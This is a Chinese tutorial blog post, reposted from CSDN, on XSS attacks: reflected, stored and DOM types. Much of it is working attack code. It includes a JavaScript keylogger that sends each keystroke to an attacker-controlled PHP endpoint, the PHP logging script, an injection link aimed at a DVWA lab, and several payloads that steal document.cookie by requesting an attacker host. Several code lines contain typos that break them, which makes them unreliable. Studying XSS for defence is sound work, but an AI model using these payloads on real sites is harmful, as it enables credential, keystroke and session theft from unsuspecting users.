XSS漏洞攻击的初步学习与攻击方法
1.基本介绍
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容
2.主要类型:
存储型(持久性)
反射型(非持久)
DOM型
3.使用场景
直接嵌入html:<script>alert('xss');</script> 元素标签事件:<body onlad=alert('xss')> 图片标签:<img src="javascript:alert('xss');"> 其他标签:<iframe>,<div>,and <link>
- 1
- 2
- 3
- 4
4.漏洞poc
解释:
…onclick :单击触发
…onerror: 事件在视频/音频(audio/video)数据加载期间发生错误时触发。(给的是一个不存在的地址)
…window.location 对象用于获得当前页面的地址 (URL),并把浏览器重定向到新的页面。作用:(跳到黑客自己设置的站点 然后盗取用户输入的账号密码)
拓展:window.location 对象在编写时可不使用 window 这个前缀。 一些例子:
一些实例:
location.hostname 返回 web 主机的域名
location.pathname 返回当前页面的路径和文件名
location.port 返回 web 主机的端口 (80 或 443)
location.protocol 返回所使用的 web 协议(http: 或 https:)
…iframe 元素会创建包含另外一个文档的内联框架(即行内框架)
…最后一句话 意思是篡改目标服务器主页 使添加的内反射型容显示出来。
5.反射型漏洞举例(可以攻击客户的Web application 使客户在此页面的键盘敲击都会返回给攻击者)
js脚本:
Document.onkeypress = function(evt){
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key){
var http = new XMLHttpRequest();
var param = encodeURl(key)
http.open("POST","http://192.168.20.8/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
php接收代码:
<?php
$key=$_POST['key];
$loafile="keylog.txt";
$fp = fopen($logfile, "a");
fwite($fp,$key);
. fclose($fg);
- 1
- 2
- 3
- 4
- 5
- 6
keylogger.php(接收数据) 因此还需在php下创建一个 keylog.txt文件 使被攻击者返回的数据能被显示出来
最后加上攻击者的ip地址 与被攻击者的ip地址实现攻击
<script土src="http://1.1.1.1/keylogger.js"></script>
<a href="http://192.168.20.10/dvwa/vulnerabilities/xss_r/?name=<script+src='http://192.168.20.8/keylogger.js'></script>">xss</ a>
- 1
- 2
- 3
6:存储型漏洞:(多数存在在留言板)(意思是长期储存在服务器端用户每次访问都会都会被执行js脚本)
小例子:(通过监听88端口从而实现用户cookie值的窃取)
<srcipt src=http://1.1.1./a.js></script>
- 1
js脚本
.var img=new image();
.img.src="http://1.1.1.:88/cookies.php&cookie="+document.cookie;
- 1
- 2
7.DOM型模板:
意思是从元素到文件再到具体的窃取东西
例如
用API标准格式来创建一个页面元素 img 从而定义一个攻击者自身的图片地址 然后用来窃取cookie值
<script>var
img=document.createElement("img");img.src="http://192.168.20.8:88/log&"+escape(document.cookie);</script>
- 1
- 2
文章来源: blog.csdn.net,作者:小亮酸Q糖,版权归原作者所有,如需转载,请联系作者。
原文链接:blog.csdn.net/zl52111/article/details/115019752